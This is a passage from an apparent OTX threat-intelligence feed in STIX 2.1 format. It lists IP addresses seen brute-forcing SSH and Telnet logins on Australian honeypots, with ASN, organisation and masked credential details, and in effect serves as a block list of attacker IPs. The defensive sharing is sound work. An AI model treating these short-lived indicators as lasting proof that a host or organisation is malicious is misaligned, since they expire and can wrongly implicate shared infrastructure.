      "modified": "2026-03-09T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T11:15:11.000Z",
      "valid_until": "2026-04-10T11:15:09.000Z"
    },
    {
      "created": "2026-03-09T11:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 211298. Organisation(s): Driftnet Ltd.",
      "id": "indicator--e09b5f46-5cab-40da-ad67-247f2ecac454",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T11:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.236.176.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T11:15:11.000Z",
      "valid_until": "2026-04-10T11:15:09.000Z"
    },
    {
      "created": "2026-03-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 3786. Organisation(s): LG DACOM Corporation. Usernames observed (masked): 3**********4, v*******o, ***, ***, c****i. Passwords observed (masked): ***, 3***********4, 3**********4, p******d, 1***5.",
      "id": "indicator--1aaa7aa0-d063-4613-8995-dc78b988f862",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '1.214.197.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T12:15:10.000Z",
      "valid_until": "2026-04-10T12:15:09.000Z"
    },
    {
      "created": "2026-03-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 138608. Organisation(s): Cloud Host Pte Ltd. Usernames observed (masked): d****n, r****l, s*****r. Passwords observed (masked): ***, 1***5, d****n.",
      "id": "indicator--c9ff3300-6e4e-4b7c-9a13-4906c9faf4d6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.250.11.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T12:15:10.000Z",
      "valid_until": "2026-04-10T12:15:09.000Z"
    },
    {
      "created": "2026-03-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, s****m, t****e, 3**********4, **. Passwords observed (masked): 1**4, 3***********4, 3**********4, A*******3, S*******3.",
      "id": "indicator--99e40319-f43b-4a76-8b34-4706cd11bfc4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.67.78.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T12:15:10.000Z",
      "valid_until": "2026-04-10T12:15:09.000Z"
    },
    {
      "created": "2026-03-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): c****e, m**a, r**t. Passwords observed (masked): 1**4, m******!, t*********!.",
      "id": "indicator--a65482fa-7020-4650-abf9-8da49d7d4be3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '122.176.115.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T12:15:10.000Z",
      "valid_until": "2026-04-10T12:15:09.000Z"
    },
    {
      "created": "2026-03-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): m****l, m**g. Passwords observed (masked): m****l, m******s.",
      "id": "indicator--1778b1d0-87b5-41b1-aae4-dbf792c602be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '128.1.44.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T12:15:10.000Z",
      "valid_until": "2026-04-10T12:15:09.000Z"
    },
    {
      "created": "2026-03-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 66. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AT. ASN(s): 197540. Organisation(s): netcup GmbH. Usernames observed (masked): p****l, 3**********4, r****l, s******5. Passwords observed (masked): ***, 1***5, 3***********4, 3**********4, S**********!.",
      "id": "indicator--d6dcb4a7-3618-4a11-bfc4-f3b9315d8ff5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.53.86.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T12:15:10.000Z",
      "valid_until": "2026-04-10T12:15:09.000Z"
    },
    {
      "created": "2026-03-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): c****e, 3**********4, a****s, l**n. Passwords observed (masked): 1**4, 3***********4, 3**********4.",
      "id": "indicator--8a44ec6c-7c06-4048-af7d-1985ccd81d41",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '159.54.167.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T12:15:10.000Z",
      "valid_until": "2026-04-10T12:15:09.000Z"
    },
    {
      "created": "2026-03-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 20001. Organisation(s): Charter Communications Inc. Usernames observed (masked): 3**********4, c****e, e****n, b*****r, l**n. Passwords observed (masked): 1**4, 3***********4, 3**********4, ***, e********!.",
      "id": "indicator--4cdaa40f-f0c0-4181-b696-513fa3e4f463",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '172.249.152.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T12:15:10.000Z",
      "valid_until": "2026-04-10T12:15:09.000Z"
    },
    {
      "created": "2026-03-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): c***r, 3**********4, a******a, d****n, g****b. Passwords observed (masked): ***, 1**4, 1****6, 1******8, 3***********4.",
      "id": "indicator--f7442c23-fc67-4678-8b7a-dfa1b5a85d62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '173.254.230.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T12:15:10.000Z",
      "valid_until": "2026-04-10T12:15:09.000Z"
    },
    {
      "created": "2026-03-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AR. ASN(s): 7303. Organisation(s): Telecom Argentina S.A.. Usernames observed (masked): 3**********4, v*******o, ***, ***, c****i. Passwords observed (masked): ***, 3***********4, 3**********4, p******d, 1***5.",
      "id": "indicator--86c40c6e-8398-4fec-9dff-3a7c799f2d09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '181.81.157.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T12:15:10.000Z",
      "valid_until": "2026-04-10T12:15:09.000Z"
    },
    {
      "created": "2026-03-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: UZ. ASN(s): 197984. Organisation(s): State Unitary Enterprise Scientific Engineering and Marketing Researches Center UNICON.UZ. Usernames observed (masked): h**o, 3**********4, g**s, **. Passwords observed (masked): 1****6, 3***********4, 3**********4, Z****!, p******d.",
      "id": "indicator--2963eeae-0e46-4477-a2b5-810e7d9125e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '194.107.115.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T12:15:10.000Z",
      "valid_until": "2026-04-10T12:15:09.000Z"
    },
    {
      "created": "2026-03-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PA. ASN(s): 18809. Organisation(s): Cable Onda. Usernames observed (masked): g**s, 3**********4, h**o, n****s. Passwords observed (masked): 1****6, 3***********4, 3**********4, n*******3, p******d.",
      "id": "indicator--07e0abd6-4a2d-4f49-861d-ef2160146673",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '200.46.125.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T12:15:10.000Z",
      "valid_until": "2026-04-10T12:15:09.000Z"
    },
    {
      "created": "2026-03-09T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 184. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): 3**********4, e****n, p**d, a****s, c****e. Passwords observed (masked): 1**4, 3***********4, 3**********4, 1****6, e********!.",
      "id": "indicator--b4f2f408-57b1-44b1-81b7-ce698e98d2af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.14.194.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T12:15:10.000Z",
      "valid_until": "2026-04-10T12:15:09.000Z"
    },
    {
      "created": "2026-03-09T13:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 45820. Organisation(s): Tata Teleservices ISP AS.",
      "id": "indicator--e28e4966-5bef-432a-87af-04454c294eb2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.97.145.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T13:15:07.000Z",
      "valid_until": "2026-04-10T13:15:05.000Z"
    },
    {
      "created": "2026-03-09T13:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, 1*******9, p******d.",
      "id": "indicator--ae722e0f-317c-426d-b0f3-1c811b92653d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.42.175.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T13:15:07.000Z",
      "valid_until": "2026-04-10T13:15:05.000Z"
    },
    {
      "created": "2026-03-09T13:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****1, ***, 1****3, 1**4, 1***5.",
      "id": "indicator--e1de9626-acab-4171-9407-840d94b8ee4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '174.138.6.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T13:15:07.000Z",
      "valid_until": "2026-04-10T13:15:05.000Z"
    },
    {
      "created": "2026-03-09T13:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 8359. Organisation(s): MTS PJSC.",
      "id": "indicator--715989f9-b5b2-45c5-a79f-98f03e624344",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '94.243.14.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T13:15:07.000Z",
      "valid_until": "2026-04-10T13:15:05.000Z"
    },
    {
      "created": "2026-03-09T14:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 133118. Organisation(s): China Unicom IP network. Usernames observed (masked): r**t. Passwords observed (masked): -**************-, Y*******!, l************8.",
      "id": "indicator--e3f5d524-ed6c-4671-b17d-6613f131c15b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.74.128.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T14:15:07.000Z",
      "valid_until": "2026-04-10T14:15:05.000Z"
    },
    {
      "created": "2026-03-09T14:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--73b72e4b-5679-4b73-ad50-16cceaca2b82",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '117.247.255.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T14:15:07.000Z",
      "valid_until": "2026-04-10T14:15:05.000Z"
    },
    {
      "created": "2026-03-09T14:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--ebf1d88c-6e5c-4ebb-ab88-da26e6fcfbaf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.233.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T14:15:07.000Z",
      "valid_until": "2026-04-10T14:15:05.000Z"
    },
    {
      "created": "2026-03-09T14:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: MY. ASN(s): 10030. Organisation(s): Celcom Axiata Berhad.",
      "id": "indicator--9f88f884-c370-4bc7-bd02-145592794f22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '183.171.53.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T14:15:07.000Z",
      "valid_until": "2026-04-10T14:15:05.000Z"
    },
    {
      "created": "2026-03-09T14:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd.",
      "id": "indicator--f0a4077a-81ce-40ed-8d96-4cb0ab1f66c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '211.210.236.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T14:15:07.000Z",
      "valid_until": "2026-04-10T14:15:05.000Z"
    },
    {
      "created": "2026-03-09T14:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 133275. Organisation(s): Gigantic Infotel Pvt Ltd.",
      "id": "indicator--edabbb6d-38bb-45a0-8c9b-1b66702c7833",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '45.125.62.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T14:15:07.000Z",
      "valid_until": "2026-04-10T14:15:05.000Z"
    },
    {
      "created": "2026-03-09T14:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 7018. Organisation(s): AT&T Enterprises, LLC.",
      "id": "indicator--1cf1eb96-1ce3-4ded-9a6d-e365a83a596a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T14:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '99.60.18.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T14:15:07.000Z",
      "valid_until": "2026-04-10T14:15:05.000Z"
    },
    {
      "created": "2026-03-09T15:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--ce372b6c-cf03-4b5e-b408-5c3a3f9dfd70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T15:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '139.135.46.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T15:15:12.000Z",
      "valid_until": "2026-04-10T15:15:11.000Z"
    },
    {
      "created": "2026-03-09T15:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd..",
      "id": "indicator--12ae03af-dd29-424e-9c0c-20a4da03475c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T15:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.78.108.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T15:15:12.000Z",
      "valid_until": "2026-04-10T15:15:11.000Z"
    },
    {
      "created": "2026-03-09T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 131. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136827. Organisation(s): Universitas PGRI Semarang. Usernames observed (masked): z******n, 3**********4, e**n, ***, ***. Passwords observed (masked): 1****6, 3***********4, 3**********4, A******5, K****3.",
      "id": "indicator--cfed5236-607c-45aa-a07b-e336037d332e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.98.176.164']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T16:15:13.000Z",
      "valid_until": "2026-04-10T16:15:11.000Z"
    },
    {
      "created": "2026-03-09T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14987. Organisation(s): Rethem Hosting LLC.",
      "id": "indicator--5fc664c4-9b02-4d2d-bbb4-c7d9c213cebd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T16:15:13.000Z",
      "valid_until": "2026-04-10T16:15:11.000Z"
    },
    {
      "created": "2026-03-09T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--c68d18f9-62a3-4bda-89f8-100e784baf78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '104.248.171.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T16:15:13.000Z",
      "valid_until": "2026-04-10T16:15:11.000Z"
    },
    {
      "created": "2026-03-09T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 60. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--d2516e15-2a77-49c5-854c-86bcb2add3ef",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '146.190.26.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T16:15:13.000Z",
      "valid_until": "2026-04-10T16:15:11.000Z"
    },
    {
      "created": "2026-03-09T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 54. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): ***, ***, p**s, r**t, r*****3.",
      "id": "indicator--e71282ea-b4f0-4ce6-b115-ec73a682e007",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.230.49.107']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T16:15:13.000Z",
      "valid_until": "2026-04-10T16:15:11.000Z"
    },
    {
      "created": "2026-03-09T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1***5, 1****6, 1******8, a***n.",
      "id": "indicator--3c8717bf-fed6-42df-9392-223f92aa6066",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-09T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '157.230.88.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-09T16:15:13.000Z",
      "valid_until": "2026-04-10T16:15:11.000Z"
    },
    {
      "created": "2026-03-09T16:15:13.000Z",
